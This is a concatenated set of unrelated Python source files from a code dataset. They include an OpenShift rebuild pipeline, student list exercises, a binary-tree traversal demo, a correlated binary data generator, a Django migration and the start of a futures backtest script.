TextIOWrapper, plashets: Iterable[PlashetBuildResult]):\n        # Generate repo entry for plashet-A\n        # See https://gitlab.cee.redhat.com/coreos/redhat-coreos/-/blob/4.7/rhaos.repo\n        file.writelines([\n            \"# These repositories are generated by the OpenShift Automated Release Team\\n\",\n            \"# https://issues.redhat.com/browse/ART-3154\\n\",\n            \"\\n\",\n        ])\n        yum_repos = ConfigParser()\n        for repo_name, _, repo_url in plashets:\n            yum_repos[repo_name] = {}\n            yum_repos[repo_name][\"name\"] = repo_name\n            yum_repos[repo_name][\"baseurl\"] = f\"{repo_url}/$basearch/os\"\n            yum_repos[repo_name][\"enabled\"] = \"1\"\n            yum_repos[repo_name][\"gpgcheck\"] = \"0\"\n            # yum_repos[repo_name][\"exclude\"] = \"nss-altfiles kernel protobuf\"\n            if repo_name == \"plashet-rebuild-overrides\":\n                yum_repos[repo_name][\"priority\"] = \"1\"  # https://wiki.centos.org/PackageManagement/Yum/Priorities\n        yum_repos.write(file)\n\n    async def _get_meta_config(self) -> str:\n        self.logger.info(\"Determining distgit branch for image %s...\", self.dg_key)\n        cmd = [\n            \"doozer\",\n            \"--data-path\", self.ocp_build_data_url,\n            \"--group\", self.group,\n            \"--assembly\", self.assembly,\n            \"-i\", self.dg_key,\n            \"config:print\",\n            \"--yaml\",\n        ]\n        _, stdout, _ = await exectools.cmd_gather_async(cmd, env=self._doozer_env_vars)\n        config = yaml.safe_load(stdout)[\"images\"][self.dg_key]\n        return config\n\n    async def _rebase_image(self, release: str):\n        \"\"\" Rebases image\n        :param release: release field for rebase\n        \"\"\"\n        # rebase\n        major, minor = self._ocp_version\n        version = f\"v{major}.{minor}\"\n        cmd = [\n            \"doozer\",\n            \"--data-path\", self.ocp_build_data_url,\n            \"--group\", self.group,\n            \"--assembly\", self.assembly,\n            \"--latest-parent-version\",\n            \"-i\", self.dg_key,\n            \"images:rebase\",\n            \"--version\", version,\n            \"--release\", release,\n            \"--force-yum-updates\",\n            \"--message\", f\"Updating Dockerfile version and release {version}-{release}\",\n        ]\n        if not self.runtime.dry_run:\n            cmd.append(\"--push\")\n        await exectools.cmd_assert_async(cmd, env=self._doozer_env_vars)\n\n    async def _build_image(self, repo_url: str) -> List[str]:\n        \"\"\" Builds image\n        :param plashet_url: Plashet URL\n        :return: NVRs\n        \"\"\"\n        # build\n        cmd = [\n            \"doozer\",\n            \"--data-path\", self.ocp_build_data_url,\n            \"--group\", self.group,\n            \"--assembly\", self.assembly,\n            \"--latest-parent-version\",\n            \"-i\", self.dg_key,\n            \"images:build\",\n            \"--repo\", repo_url,\n        ]\n        if self.runtime.dry_run:\n            cmd.append(\"--dry-run\")\n\n        await exectools.cmd_assert_async(cmd, env=self._doozer_env_vars)\n\n        if self.runtime.dry_run:\n            return []\n        # parse record.log\n        with open(Path(self._doozer_env_vars[\"DOOZER_WORKING_DIR\"]) / \"record.log\", \"r\") as file:\n            record_log = parse_record_log(file)\n            return record_log[\"build\"][-1][\"nvrs\"].split(\",\")\n\n    async def _rebase_and_build_rpm(self, release: str) -> List[str]:\n        \"\"\" Rebase and build RPM\n        :param release: release field for rebase\n        :return: NVRs\n        \"\"\"\n        major, minor = self._ocp_version\n        cmd = [\n            \"doozer\",\n            \"--data-path\", self.ocp_build_data_url,\n            \"--group\", self.group,\n            \"--assembly\", self.assembly,\n            \"-r\", self.dg_key,\n            \"rpms:rebase-and-build\",\n            \"--version\", f\"{major}.{minor}\",\n            \"--release\", release,\n        ]\n        if self.runtime.dry_run:\n            cmd.append(\"--dry-run\")\n        await exectools.cmd_assert_async(cmd, env=self._doozer_env_vars)\n\n        if self.runtime.dry_run:\n            return []\n\n        # parse record.log\n        with open(Path(self._doozer_env_vars[\"DOOZER_WORKING_DIR\"]) / \"record.log\", \"r\") as file:\n            record_log = parse_record_log(file)\n            return record_log[\"build_rpm\"][-1][\"nvrs\"].split(\",\")\n\n    def _generate_example_schema(self, nvrs: List[str]) -> Dict:\n        is_entry = {}\n        if self.type == RebuildType.IMAGE:\n            member_type = \"images\"\n            is_entry[\"nvr\"] = nvrs[0]\n        elif self.type == RebuildType.RPM:\n            member_type = \"rpms\"\n            for nvr in nvrs:\n                el_version = isolate_el_version_in_release(nvr)\n                assert el_version is not None\n                is_entry[f\"el{el_version}\"] = nvr\n        else:\n            raise ValueError(f\"Generating example schema for {self.type} is not supported\")\n\n        schema = {\n            \"releases\": {\n                self.assembly: {\n                    \"assembly\": {\n                        \"members\": {\n                            member_type: [\n                                {\n                                    \"distgit_key\": self.dg_key,\n                                    \"metadata\": {\n                                        \"is\": is_entry\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                }\n            }\n        }\n        return schema\n\n\n@cli.command(\"rebuild\")\n@click.option(\"--ocp-build-data-url\", metavar='BUILD_DATA', default=None,\n              help=f\"Git repo or directory containing groups metadata e.g. {constants.OCP_BUILD_DATA_URL}\")\n@click.option(\"--version\", required=True, help=\"OSE Version\")\n@click.option(\"--assembly\", metavar=\"ASSEMBLY_NAME\", required=True,\n              help=\"The name of an assembly to rebase & build for. e.g. 4.9.1\")\n@click.option(\"--type\", metavar=\"BUILD_TYPE\", required=True,\n              type=click.Choice((\"rpm\", \"image\", \"rhcos\")),\n              help=\"image or rpm or rhcos\")\n@click.option(\"--component\", \"-c\", metavar=\"DISTGIT_KEY\",\n              help=\"The name of a component to rebase & build for. e.g. openshift-enterprise-cli\")\n@click.option('--ignore-locks', is_flag=True, default=False,\n              help='Do not wait for other builds in this version to complete (use only if you know they will not conflict)')\n@pass_runtime\n@click_coroutine\nasync def rebuild(runtime: Runtime, ocp_build_data_url: str, version: str, assembly: str, type: str,\n                  component: Optional[str], ignore_locks: bool):\n\n    if type != \"rhcos\" and not component:\n        raise click.BadParameter(f\"'--component' is required for type {type}\")\n    elif type == \"rhcos\" and component:\n        raise click.BadParameter(\"Option '--component' cannot be used when --type == 'rhcos'\")\n    pipeline = RebuildPipeline(runtime, group=f'openshift-{version}', assembly=assembly, type=RebuildType[type.upper()],\n                               dg_key=component, ocp_build_data_url=ocp_build_data_url)\n\n    if ignore_locks:\n        await pipeline.run()\n\n    else:\n        # Create a Lock manager instance\n        lock = locks.Lock.GITHUB_ACTIVITY\n        lock_manager = locks.LockManager.from_lock(lock)\n        lock_name = lock.value.format(version=version)\n\n        try:\n            async with await lock_manager.lock(lock_name):\n                await pipeline.run()\n\n        except LockError as e:\n            runtime.logger.error('Failed acquiring lock %s: %s', lock_name, e)\n            raise\n","sub_path":"pyartcd/pyartcd/pipelines/rebuild.py","file_name":"rebuild.py","file_ext":"py","file_size_in_byte":27556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"519012724","text":"# Simply run this module (no inputs or modifications needed) to update the help\n# files for all of the gappack modules.\n#\n\nimport sys, pydoc, os\n\n#Where's the config module? Must be named gapconfig.py\nsys.path.append(\"\")\n#Where's the gappack code located?\nsys.path.append('')\nimport gapproduction as gp\n\nhelpDir = '/GAPProduction/documentation'\nif not os.path.exists(helpDir):\n    os.makedirs(helpDir)\n\nfor mod in gp.__all__:\n    s = pydoc.plain(pydoc.render_doc('gapproduction.' + mod))\n    gp.docs.Write(os.path.join(helpDir, 'Help_' + mod + '.txt'), s, 'o')\n","sub_path":"build/scripts-2.7/Update_Help_Files.py","file_name":"Update_Help_Files.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"643652973","text":"#WORKSHOP 10\n\n#QUESTION 1\ndef unique(q_list):\n    \"\"\"\n    This function finds the unique elements in a list\n    it takes in a list as it's argument(q_list)\n    note: this returns the list in numerical order not the order they occur\n    \"\"\"\n    values = range(len(q_list))\n    key_value = list(zip(q_list, values))\n    w = dict(key_value)\n    print(w.keys())\n#unique([4,5,6,12,2,5,8,2,4,9,5,4,4,4,4,4,4,10]) #test the function \n\n#QUESTION 2\ndef ounique(list_order):\n    \"\"\"\n    This function return the unique elemnts in a list in the order that they occur\n    ARGUMENT: list_order - list of elements \n    \"\"\"\n    emp = []\n    for item in list_order:\n        if item not in emp:\n            emp.append(i)\n    print(emp)\n#ounique([4,5,6,12,2,5,8,2,4,9,5,4,4,4,4,4,4,4,4,4,10])\n","sub_path":"unique.py","file_name":"unique.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"128764070","text":"import matplotlib.pyplot as plt\n\ndef reading_low_data():\n    func_dat = []\n    f = open(\"/home/misha91908/cube-can-sat-2016/soft/desktop/log/LOW.TXT\", 'r')\n\n    for line in f:\n        if(line != '\\n'):\n            func_dat.append(line)\n\n    return func_dat\n\ndef sort_low_data(func_dat):\n    \"\"\"\n    функция, парсящая данные из списка, которые считываются в другие списки\n    \"\"\"\n    log_dat = []\n    counter = 0\n    data_dust = [0]  # финальный список данных о кол-ве пыли\n    data_ozone = [0]  # финальный список данных о кол-ве озона\n\n    basic_elements = {'.', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ';'}\n\n    for element in range(len(func_dat)-1):\n        for i in range(len(func_dat[element]) - 1):\n            if(func_dat[element][i] in basic_elements):\n                counter += 1\n        if((counter == len(func_dat[element]) - 1) and (len(func_dat[element].split(';')) - 1 == 8)):\n            log_dat.append(func_dat[element])\n        counter = 0\n\n\n    for i in range(len(log_dat)-1):  # извлечение данных из списка и распределение их по двум другим\n        element = log_dat[i].split(';')\n        element[0] = float(element[6])\n        element[1] = float(element[7])\n\n        try:\n            data_dust.append(element[0])\n            data_ozone.append(element[1])\n        except IndexError:\n            data_dust.append(data_dust[-1])\n            data_ozone.append(data_ozone[-1])\n\n    return data_dust, data_ozone\n\ndef simple_moving_average(data1, data2):  # усреднение значений(простая скользящая средняя)\n    lengthList1 = len(data1)\n    lengthList2 = len(data2)\n\n    for i in range(lengthList1 - 30):  # усреднение значений\n        iterator = 0\n        for iterator_1 in range(30):\n            iterator += 1\n            data1[i] = data1[i] + data1[i + iterator]\n        data1[i] = data1[i] / 30\n\n    for i in range(lengthList2 - 30):  # усреднение значений\n        iterator = 0\n        for iterator_1 in range(30):\n            iterator += 1\n            data2[i] = data2[i] + data2[i + iterator]\n        data2[i] = data2[i] / 30\n\n    for i in range(30):\n        data1.pop()\n        data2.pop()\n\n\ndata = []\n\ntry:\n    data = reading_low_data()\nexcept BaseException:\n    print('ошибка доступа')\n\ndata_dust, data_ozone = sort_low_data(data)\nsimple_moving_average(data_dust, data_ozone)\n\nfig = plt.figure()  # графики изменения количества пыли и озона в атмосфере\nplt.subplot(211)\nplt.plot(data_dust)\nplt.title('Dust')\nplt.xticks(fontsize='10')\nplt.yticks(fontsize='10')\nplt.xlabel('Number of points')\nplt.ylabel('quantity, g/sm^3')\nplt.grid()\n\nplt.subplot(212)\nplt.plot(data_ozone)\nplt.title('Ozone')\nplt.xticks(fontsize='10')\nplt.yticks(fontsize='10')\nplt.xlabel('Number of points')\nplt.ylabel('quantity, g/sm^3')\nplt.grid()\n\nplt.tight_layout()\nplt.savefig(\"../../img/Dust_Ozone.png\", fmt='png')\n","sub_path":"Python/cube-can-sat-2016/soft/desktop/src/atmosphere_parameters/src.py","file_name":"src.py","file_ext":"py","file_size_in_byte":3130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"158738711","text":"class Node : \n    def __init__(self, item):\n        self.item = item\n        self.left = None\n        self.right = None\n\nclass BinaryTree() :\n    # 트리생성\n    def __init__(self):\n        self.root = None\n    \n    # 전위순회 (root-left-right)\n    def preorder(self,n):\n        if n != None:\n            print(n.item,' ',end='')     # 노드방문 \n            if n.left:\n                self.preorder(n.left)   # 왼쪽 서브트리 순회 \n            if n.right:\n                self.preorder(n.right)  # 오른쪽 서브트리 순회 \n    \n    # 중위순회 (left-root-right)\n    def inorder(self,n):\n        if n!=None:\n            if n.left:\n                self.inorder(n.left)   # 왼쪽 서브트리 순회 \n            print(n.item,' ',end='')   # 노드 방문\n            if n.right:\n                self.inorder(n.right)  # 오른쪽 서브트리 순회 \n    # 후위 순회 (left-right-root)\n    def postorder(self,n):\n        if n!=None : \n            if n.left:\n                self.postorder(n.left)   # 왼쪽 서브트리 순회 \n            if n.right:\n                self.postorder(n.right)  # 오른쪽 서브트리 순회 \n            print(n.item,' ', end='')   # 노드 방문\n\n    # 레벨 순회 \n    def levelorder(self, root):\n        q = []      # 큐로 ��용할 리스트 선언\n        q.append(root)\n        while q:\n            t=q.pop(0)\n            print(t.item, ' ', end='')   # 큐에서 첫번째 항목 삭제 후 삭제한 노드 방문\n            if t.left != None:\n                q.append(t.left)         # 왼쪽 자식을 큐에 삽입 \n            if t.right != None:\n                q.append(t.right)        # 오른쪽 자식울 큐에 삽입 \n    \n    def height(self, root):\n        if root == None:\n            return 0\n        # 루트 노드를 기준으로 두 자식노드의 높이 중 큰 높이 \n        return max(self.height(root.left), self.height(root.right))+1\n\ntree=BinaryTree()\nn1 = Node(10)\nn2 = Node(20)\nn3 = Node(30)\nn4 = Node(40)\nn5 = Node(50)\nn6 = Node(60)\nn7 = Node(70)\nn8 = Node(80)\n\n# 트리 만들기 \ntree.root=  n1\nn1.left = n2\nn1.right = n3\nn2.left = n4\nn2.right = n5\nn3.left = n6\nn3.right = n7\nn4.left = n8\n\n# 트리높이\nprint('트리높이 : ', tree.height(tree.root))\n\n# 전위순회\nprint('전위순회 : ', end='')\ntree.preorder(tree.root)\n\n# 중위순회\nprint('\\n중위순회 : ', end='')\ntree.inorder(tree.root)\n\n# 후위순회\nprint('\\n후위순회 : ', end='')\ntree.postorder(tree.root)\n\n# 레벨순회\nprint('\\n레벨순회 : ', end='')\ntree.levelorder(tree.root)\n\n# 출처\n    # https://it-garden.tistory.com/406\n    # http://blog.naver.com/PostView.nhn?blogId=leeinje66&logNo=221622228795","sub_path":"Trees/Tree Practice.py","file_name":"Tree Practice.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"592782835","text":"'''\nDWA SPOSOBY NA PRINT UNIKALNEJ LICZBY\n'''\n\n# li1 = []\n# li2 = []\n#\n# while True:\n#     x = input(\"wprowadz liczbe od 1 do 9: \")\n#     (li1, li2).append(x)\n#         if x not in li2\n#\n#     print(li1)\n#     print(li2)\n\n\ns = set()\nlist = []\ninputy = 15\nwhile inputy > 0:\n    inputy -=1\n    x = input(\"wprowadz:\" )\n    s.add(x)\n    if x in s:\n        list.append(x)\n\n    print(s)\n    print('lista prob', list)\n\n\n","sub_path":"list_td/uni.py","file_name":"uni.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"314865459","text":"\"\"\"\nAuthor: Shadi Zabad\nDate: March 2021\n\nThis is a script that implements functions for generating correlated binary data using\nthe method described in Leisch et al. (1998).\n\nThis software is a python implementation of the algorithm outlined in:\n\nOn the Generation of Correlated Artificial Binary Data\nFriedrich Leisch, Andreas Weingessel, Kurt Hornik (1998)\n\nImplementation follows closely the implementation details in the R package `bindata`\n\"\"\"\n\nimport numpy as np\nfrom scipy.stats import norm, multivariate_normal\nfrom scipy import interpolate\nfrom scipy.stats.mvn import mvnun\n\n\ndef admissible_joint_prob(jp):\n    \"\"\"\n    This function checks that the joint probability matrix\n    has admissible values.\n    \"\"\"\n\n    if jp.min() < 0. or jp.max() > 1.:\n        raise ValueError(\"Joint probability matrix is not proper: \\\n                         Some joint probabilities are outside the range (0, 1)\")\n\n    for i in range(jp.shape[0]):\n        for j in range(jp.shape[0]):\n            ul = min(jp[i, i], jp[j, j])\n            ll = max(jp[i, j] + jp[j, j] - 1., 0.)\n            ll2 = max(jp[i, j] + jp[i, i] - 1., 0.)\n\n            if jp[i, j] > ul or jp[i, j] < ll or jp[i, j] < ll2:\n                raise ValueError(f\"Elements ({i, j}) of joint probability are not admissible.\")\n\n    return True\n\n\ndef create_joint_prob_corr_table(to_dict=True):\n    \"\"\"\n    This function generates the table of joint probabilities for\n    each configuration of marginal probabilities and correlation values.\n    :param to_dict:\n    :return:\n    \"\"\"\n\n    p = np.arange(0., 1.05, 0.05)  # Range of marginal probability\n    corr = np.arange(-1., 1.05, 0.05)  # Range of correlations\n\n    table = np.zeros(shape=(len(corr), len(p), len(p)))\n\n    for i in range(len(corr)):\n\n        sig = np.matrix([[1., corr[i]], [corr[i], 1.]])\n\n        for j in range(len(p)):\n            for k in range(j, len(p)):\n\n                if corr[i] == -1:\n                    jp = max(0., p[j] + p[k] - 1.)\n                elif corr[i] == 0.:\n                    jp = p[j] * p[k]\n                elif corr[i] == 1.:\n                    jp = min(p[j], p[k])\n                elif p[j] * p[k] == 0. or p[j] == 1 or p[k] == 1.:\n                    jp = p[j] * p[k]\n                else:\n                    jp = mvnun(np.array([0., 0.]), np.array([np.inf, np.inf]),\n                               [norm.ppf(p[j]), norm.ppf(p[k])],\n                               sig)[0]\n\n                table[i, j, k] = table[i, k, j] = jp\n\n    if to_dict:\n        n_table = {}\n\n        # convert to dictionary:\n        for j in range(len(p)):\n            for k in range(j, len(p)):\n                pj = round(p[j], 2)\n                pk = round(p[k], 2)\n                n_table[(pj, pk)] = n_table[(pj, pk)] = np.array((corr, table[:, j, k]))\n\n        return n_table\n\n    return table\n\n\ndef corr_to_joint_prob(marg_prob, corr_mat):\n    \"\"\"\n    This function converts the marginal probabilities and\n    correlation matrix and compute the joint probabilities.\n    This follows Equation\n    \"\"\"\n\n    marg_prob = np.array(marg_prob)\n    corr_mat = np.array(corr_mat)\n\n    jp_mat = np.zeros_like(corr_mat)  # Joint probability matrix\n\n    marg_var = marg_prob * (1. - marg_prob)\n\n    for i in range(jp_mat.shape[0]):\n        for j in range(i, jp_mat.shape[0]):\n            jp_mat[i, j] = jp_mat[j, i] = (corr_mat[i, j] * np.sqrt(marg_var[i] * marg_var[j]) +\n                                           marg_prob[i] * marg_prob[j])\n\n    return jp_mat\n\n\ndef joint_prob_to_sigma(joint_prob):\n    \"\"\"\n    This function converts the joint probabilities to the\n    multivariate Gaussian covariance matrix Sigma.\n    \"\"\"\n\n    table = create_joint_prob_corr_table()\n    sigma = np.diag(np.ones(joint_prob.shape[0]))\n\n    for i in range(sigma.shape[0]):\n        for j in range(i + 1, sigma.shape[0]):\n            r, jp = table[tuple(sorted((round(joint_prob[i, i], 2), round(joint_prob[j, j], 2))))]\n            f = interpolate.interp1d(jp, r)\n            sigma[i, j] = sigma[j, i] = f(joint_prob[i, j])\n\n    return sigma\n\n\ndef mvbin(p, rho=None, joint_prob=None, size=1):\n    \"\"\"\n    Generates correlated bernoulli random variables with\n    marginals equal to `p` and with correlations specified by `rho` OR\n    joint probabilities specified by `jp`.\n    \"\"\"\n\n    if type(p) == np.float or len(p) == 1:\n        return np.random.binomial(1, p)\n\n    d = len(p)\n\n    if rho is not None:\n        if type(rho) == np.float or len(rho) == 1:\n            rho = rho * np.ones(shape=(d, d))\n            np.fill_diagonal(rho, 1.)\n\n        joint_prob = corr_to_joint_prob(p, rho)\n    elif joint_prob is None:\n        raise Exception(\"Must provide either valid joint probability or rho matrix.\")\n\n    # If the joint probability is admissible, generate the samples:\n    if admissible_joint_prob(joint_prob):\n        # Sample from a multivariate normal:\n        mu = norm.ppf(p)\n        sigma = joint_prob_to_sigma(joint_prob)\n\n        print(mu)\n        print(sigma)\n\n        sample = multivariate_normal.rvs(mu, sigma, size=size)\n\n        # Thresholding\n        sample[sample > 0.] = 1.\n        sample[sample <= 0.] = 0.\n\n        return sample\n","sub_path":"mvbin.py","file_name":"mvbin.py","file_ext":"py","file_size_in_byte":5164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"106273202","text":"import csv\nfrom utility import Utility as util\n\n\nclass Report(object):\n    @classmethod\n    def write_lai_report_md(cls, report, report_file_name, carrier_name,\n                            distance_threshold):\n        mcc, mnc, lac = util.mcc_mnc_lac_from_filename(report_file_name)\n        lai_report = \"# %s-%s-%s\\n## %s\\n\\n\\n\" % (mcc, mnc, lac,\n                                                  carrier_name)\n        lai_report += \"| CGI | Nearest CGI | Distance |\\n\"\n        lai_report += \"|-----|-------------|----------|\\n\"\n        for cgi, relations in sorted(report.items()):\n            if relations['distance'] >= distance_threshold:\n                lai_report += Report.format_row(cgi, relations['nearest'],\n                                                relations['distance'], True)\n            else:\n                lai_report += Report.format_row(cgi, relations['nearest'],\n                                                relations['distance'], False)\n\n        with open(report_file_name.replace(\"csv\", \"md\"), 'w') as markdown_file:\n            markdown_file.write(lai_report)\n\n    @classmethod\n    def format_row(cls, cgi, nearest, distance, bold=False):\n        if bold:\n            s = \"| **%s** | **%s** | **%s** |\\n\" % (cgi, nearest, distance)\n        else:\n            s = \"| %s | %s | %s |\\n\" % (cgi, nearest, distance)\n        return s\n\n    @classmethod\n    def write_lai_report(cls, report, report_file_name):\n        mcc, mnc, lac = util.mcc_mnc_lac_from_filename(report_file_name)\n        columns = [\"cgi\", \"nearest\", \"distance\"]\n        with open(report_file_name, 'w') as outfile:\n            producer = csv.DictWriter(outfile, fieldnames=columns)\n            producer.writeheader()\n            for cgi, relations in report.items():\n                producer.writerow({'cgi': cgi, 'nearest': relations['nearest'],\n                                   'distance': relations['distance']})\n","sub_path":"code/laiutils/report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"189925331","text":"\nmirthful_addition = 12381 + 91817\namazing_subtraction = 981 - 312\ntrippy_multiplication = 38 * 902\nhappy_division = 540 / 45\nsassy_combinations = 129 * 1345 + 120 / 6 - 12\n\nis_this_number = 15 % 2\nis_this_number_divisible_by_seven = 133 % 7\n\n# print(is_this_number)\n# print(is_this_number_divisible_by_seven)\n\n# exemple\nproduct = 2 * 5\nremainder = 1398 % 11\n\n# ------------------------------------------------------------------ #\njanuary_to_june_rainfall = 1.93 + 0.71 + 3.53 + 3.41 + 3.69 + 4.50\nannual_rainfall = january_to_june_rainfall\n\njuly_rainfall = 1.05\nannual_rainfall += july_rainfall\n\naugust_rainfall = 4.91\nannual_rainfall += august_rainfall\n\nseptember_rainfall = 5.16\noctober_rainfall = 7.20\nnovember_rainfall = 5.06\ndecember_rainfall = 4.06\n\nannual_rainfall += september_rainfall + october_rainfall + november_rainfall + december_rainfall\n\nprint(annual_rainfall)\n\n","sub_path":"Python/arithmetic.py","file_name":"arithmetic.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"287750753","text":"'''\n    当一个函数中，不同的逻辑混在一起；此时可以用decorator 来提到代码的可读性\n'''\n\nimport time\n\ndef display_time(func):\n    # *args 用于传参（不知道参数有几个时，可以直接这么用）\n    def wrapper(*args):\n        t_begin = time.time()\n        result = func(*args)\n        t_end = time.time()\n        print(\"Total time: {:.4} s\".format(t_end - t_begin))\n        return result\n    return wrapper\n\n\ndef is_prime(num):\n    if num < 2:\n        return False\n    elif num == 2:\n        return True\n    else:\n        for i in range(2, num):\n            if num % i == 0:\n                return False\n        return True\n\n# 加上 @display_time, run count_prime_num()函数时，会自动运行 display_time()\n@display_time\ndef count_prime_num(maxnum):\n    count = 0\n    for i in range(maxnum):\n        if is_prime(i):\n            count += 1\n    return count\n\ndef main():\n    count = count_prime_num(10000)\n    print(count)\n\nif __name__ == \"__main__\":\n    main()","sub_path":"decorator.py","file_name":"decorator.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"285282299","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('clientes', '0001_initial'),\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='ContaCaixa',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('descricao', models.CharField(max_length=500)),\n                ('banco', models.CharField(max_length=500)),\n                ('numero_conta', models.CharField(max_length=500)),\n            ],\n            options={\n                'ordering': ['descricao'],\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Recibo',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('data_cadastro', models.DateTimeField(auto_now=True, auto_now_add=True)),\n                ('descricao', models.TextField()),\n            ],\n            options={\n                'verbose_name': 'Recibo',\n                'verbose_name_plural': 'Recibos',\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Titulo',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('descricao', models.CharField(max_length=500)),\n                ('data_cadastro', models.DateTimeField(auto_now_add=True, verbose_name=b'Data de cadastro')),\n                ('vencimento', models.DateField(verbose_name=b'Data de vencimento')),\n                ('data_quitacao', models.DateField(null=True, verbose_name=b'Data de quita\\xc3\\xa7\\xc3\\xa3o do t\\xc3\\xadtulo', blank=True)),\n                ('tipo', models.CharField(help_text=b'Informe o tipo da movimenta\\xc3\\xa7\\xc3\\xa3o', max_length=1, verbose_name=b'Tipo da movimenta\\xc3\\xa7\\xc3\\xa3o', choices=[(b'D', b'DESPESA'), (b'R', b'RECEITA')])),\n                ('valor', models.DecimalField(verbose_name=b'Valor do t\\xc3\\xadtulo', max_digits=6, decimal_places=2)),\n                ('valor_copasa', models.DecimalField(decimal_places=2, default=0, max_digits=6, blank=True, null=True, verbose_name=b'Valor da COPASA no m\\xc3\\xaas')),\n                ('valor_cemig', models.DecimalField(decimal_places=2, default=0, max_digits=6, blank=True, null=True, verbose_name=b'Valor da CEMIG no m\\xc3\\xaas')),\n                ('valor_encargos', models.DecimalField(decimal_places=2, default=0, max_digits=6, blank=True, null=True, verbose_name=b'Valores de encargos')),\n                ('perc_juros', models.DecimalField(default=0.0, null=True, max_digits=4, decimal_places=2, blank=True)),\n                ('taxa_multa', models.DecimalField(null=True, max_digits=5, decimal_places=2, blank=True)),\n                ('pagamento_parcial', models.DecimalField(decimal_places=2, default=0, max_digits=6, blank=True, null=True, verbose_name=b'Valor pago at\\xc3\\xa9 o momento')),\n                ('deletado', models.NullBooleanField(default=False)),\n                ('conta_parcelas', models.CharField(max_length=7, null=True, verbose_name='Contagem das parcelas', blank=True)),\n                ('observacoes', models.TextField(null=True, blank=True)),\n                ('descricao_encargos', models.TextField(null=True, verbose_name='Descri\\xe7\\xe3o de encargos', blank=True)),\n                ('cliente', models.ForeignKey(to='clientes.Cliente', null=True)),\n                ('conta_caixa', models.ForeignKey(verbose_name=b'Conta', blank=True, to='financeiro.ContaCaixa', null=True)),\n                ('usuario_cadastrou', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n            ],\n            options={\n                'ordering': ['descricao'],\n                'verbose_name': 'T\\xedtulo',\n                'verbose_name_plural': 'T\\xedtulos',\n            },\n            bases=(models.Model,),\n        ),\n        migrations.AddField(\n            model_name='recibo',\n            name='titulo',\n            field=models.ForeignKey(to='financeiro.Titulo'),\n            preserve_default=True,\n        ),\n        migrations.AddField(\n            model_name='recibo',\n            name='usuario',\n            field=models.ForeignKey(to=settings.AUTH_USER_MODEL),\n            preserve_default=True,\n        ),\n    ]\n","sub_path":"financeiro/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":4564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"101434182","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 16 16:08:42 2017\r\n\r\n@author: MAngO\r\n\"\"\"\r\n\r\n# Change the working directory to your strategy folder. You should change this\r\n# directory below on your own computer accordingly\r\nimport os\r\nworking_directory = './Future Strategy 5011'\r\nos.chdir(working_directory)\r\nfrom svmtest import handle_bar\r\n\r\n# Run the main function in your demo.py to get your model and training reday(if there is any)\r\nos.system('python svmtest.py')\r\n\r\nimport h5py\r\nimport empyrical.utils\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom copy import deepcopy\r\n\r\n\r\n# All data directory\r\ndata_directory = './Future Strategy 5011/Data/'\r\nformat1_dir = 'data_format1_20170717_20170915.h5'\r\nformat2_dir = 'data_format2_20170918_20171211.h5'\r\n\r\n''' In Python, list appending should be careful because it is passed by reference.\r\n    In case a change on original varible may cause changes in other variables,\r\n    sometimes we need to use copy.deepcopy to make a duplicate.\r\n    This change is credited to Hui CHEN. Thank you very much.\r\n'''\r\nimport copy\r\n\r\n# Class of memory for data storage\r\nclass memory:\r\n    def __init__(self):\r\n        pass\r\n\r\nclass backTest:\r\n    def __init__(self):\r\n        # Initialize strategy memory with None. New memory will be updated every minute in backtest\r\n        self.memory = memory()\r\n\r\n        # Initial setting of backtest\r\n        self.init_cash = 10000000.\r\n        self.margin_threshold = 1000000.\r\n        self.commissionRatio = 0.00005\r\n\r\n        # Data path\r\n        self.info_path = data_directory+'information.csv'\r\n        self.data_format1_path = data_directory+format1_dir\r\n        self.data_format2_path = data_directory+format2_dir\r\n\r\n        # You can adjust the path variables below to train and test your own model\r\n        self.train_data_path = ''\r\n        self.test_data_path = ''\r\n\r\n    def pnl_analyze(self, detailDF_pnl):\r\n        ''' Function that uses pyfolio developed by quantopian to analyze the\r\n        pnl curve given by the backTest function\r\n\r\n        Params: total_balance series from detail dataframe generated by 